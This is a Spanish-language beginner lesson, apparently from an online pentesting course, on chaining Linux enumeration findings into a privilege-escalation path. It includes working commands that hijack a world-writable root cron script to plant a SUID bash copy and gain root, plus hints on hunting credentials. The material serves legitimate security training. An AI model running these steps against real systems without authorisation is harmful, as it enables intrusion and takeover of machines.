AccesoInicial

Cómo pensar una ruta de escalada

Aprende a conectar hallazgos individuales de enumeración en una ruta de escalada completa, desarrollando el pensamiento lateral que requiere un pentester.

Principiantelinuxprivilege-escalationmethodology

Introducción

En las lecciones anteriores aprendiste a enumerar el sistema y conoces los vectores más comunes: sudo, SUID y permisos inseguros. Pero en la práctica, la escalada de privilegios rara vez es un paso único. A menudo necesitas combinar varios hallazgos para construir una ruta completa desde tu usuario sin privilegios hasta root. Esta lección te enseña a pensar como pentester: conectar los puntos en lugar de buscar una solución mágica.

¿Por qué importa el pensamiento lateral?

Las máquinas de práctica y los entornos de examen están diseñados para que la escalada no sea obvia. Tal vez no hay un sudo NOPASSWD directo ni un SUID explotable. Pero hay un cron job que ejecuta un script escribible, o un servicio interno corriendo como root al que puedes acceder por un puerto local. La diferencia entre encontrar la escalada y quedarte atascado es tu capacidad de conectar piezas de información que parecen inofensivas por separado.

El modelo mental: cadenas de escalada

Piensa en la escalada de privilegios como una cadena. Cada eslabón es un hallazgo de enumeración; tu trabajo es encontrar cómo se conectan. Algunos patrones comunes:

  • Lectura → Cracking → Acceso: Lees un archivo con credenciales (backup de /etc/shadow, archivo .conf con contraseña de base de datos) → crackeas o reutilizas la contraseña → accedes como otro usuario con más privilegios.
  • Escritura → Ejecución como root: Encuentras un archivo escribible que es ejecutado por un cron job de root → modificas el archivo para incluir tu payload → esperas la ejecución.
  • Puerto interno → Servicio vulnerable: Descubres un servicio corriendo como root en un puerto interno (no accesible desde fuera) → rediriges el puerto a tu máquina → explotas la vulnerabilidad del servicio.

Herramientas de enumeración automatizada

Ahora que entiendes los comandos manuales, las herramientas automatizadas cobran sentido. No reemplazan tu razonamiento, pero aceleran la recopilación de datos:

  • LinPEAS. El más completo. Colorea los hallazgos por severidad (rojo = alta probabilidad de escalada).
  • Linux Smart Enumeration (lse.sh). Script en Bash con niveles de detalle progresivos. Útil si Python no está instalado.
  • pspy. Monitorea procesos sin necesidad de privilegios de root. Esencial para detectar cron jobs que no aparecen en /etc/crontab.

Consejo

Usa herramientas automatizadas después de la enumeración manual, no en lugar de ella. La enumeración manual te obliga a entender lo que estás viendo. Las herramientas solo te dan velocidad; el criterio lo pones tú.

Ejemplo: construyendo una ruta de escalada paso a paso

Veamos un escenario donde ningún vector individual es suficiente, pero la combinación sí lo es.

Paso 1: Enumeración del usuario.

bash
1$ id
2uid=33(www-data) gid=33(www-data) groups=33(www-data)
3
4$ sudo -l
5Sorry, user www-data may not run sudo on this host.
6

Sin sudo. Seguimos.

Paso 2: Buscar archivos SUID y permisos débiles.

bash
1$ find / -type f -perm -u+s 2>/dev/null
2/usr/bin/passwd
3/usr/bin/sudo
4/usr/bin/chsh
5# Solo binarios estándar — nada explotable
6
7$ ls -la /etc/shadow
8-rw-r----- 1 root shadow 1440 Mar 15 10:22 /etc/shadow
9# Permisos correctos — no podemos leerlo
10

Nada directo todavía. Seguimos buscando.

Paso 3: Examinar cron jobs y procesos.

bash
1$ cat /etc/crontab
2* * * * * root /opt/scripts/backup.sh
3
4$ ls -l /opt/scripts/backup.sh
5-rwxrwxrwx 1 root root 45 Mar 15 10:00 /opt/scripts/backup.sh
6

Aquí está la cadena. Hay un cron job que ejecuta /opt/scripts/backup.sh como root cada minuto, y el archivo es escribible por todos (rwxrwxrwx). Podemos modificar ese script para que nos dé una shell de root.

Paso 4: Explotar la cadena.

bash
1# Reemplazar el contenido del script con un reverse shell
2$ echo '#!/bin/bash' > /opt/scripts/backup.sh
3$ echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
4
5# Esperar un minuto a que el cron job se ejecute...
6$ ls -l /tmp/rootbash
7-rwsr-sr-x 1 root root 1037528 Mar 15 10:01 /tmp/rootbash
8
9# Ejecutar con -p para preservar privilegios
10$ /tmp/rootbash -p
11rootbash-5.1# id
12uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root)
13

Ninguno de los hallazgos individuales (sin sudo, SUID estándar, shadow protegido) era suficiente. Pero un cron job con un script escribible nos dio la ruta completa.

El flujo de razonamiento

Cuando enumeras un sistema, hazte estas preguntas en orden:

  1. ¿Puedo ejecutar algo como root directamente? (sudo -l, binarios SUID inusuales)
  2. ¿Puedo leer algo que no debería? (/etc/shadow, claves SSH, archivos de configuración con contraseñas, backups)
  3. ¿Puedo escribir algo que root ejecuta? (scripts de cron jobs, binarios en el PATH, archivos de configuración de servicios)
  4. ¿Hay un servicio interno vulnerable? (procesos corriendo como root, puertos locales abiertos)
  5. ¿El kernel tiene un exploit público? (última opción: uname -a + búsqueda)

Este orden va de más probable y seguro a menos probable y riesgoso. Si la pregunta 1 no da resultado, pasas a la 2, y así sucesivamente. La mayoría de las máquinas de práctica se resuelven en las preguntas 1 a 3.

Errores comunes

Advertencia

No asumir que la enumeración terminó. Si no encontraste nada con los comandos básicos, amplía la búsqueda: revisa /var/backups, directorios home de otros usuarios, archivos ocultos (.bash_history, .ssh/), variables de entorno, y conexiones de red internas con netstat o ss.

Advertencia

No intentar exploits de kernel sin agotar otras opciones. Los exploits de kernel pueden ser destructivos: pueden crashear el sistema o solo funcionar una vez. En un examen con tiempo limitado, perder la máquina por un kernel exploit fallido es un error costoso. En un pentest profesional, tumbar el servidor de un cliente es inaceptable.

Conclusión

La escalada de privilegios no es memorizar exploits, es desarrollar un proceso metódico de enumeración y razonamiento. Enumera sistemáticamente, prioriza los vectores por probabilidad y riesgo, y aprende a conectar hallazgos individuales en cadenas de escalada. Con esta base, estás listo para enfrentar máquinas de práctica y construir experiencia real. El siguiente paso es practicar: plataformas como HackTheBox, TryHackMe y OverTheWire ofrecen cientos de escenarios donde aplicar exactamente lo que aprendiste en este curso.

Has llegado al final del curso

Continúa con la siguiente etapa de tu ruta.

Continuar con la ruta →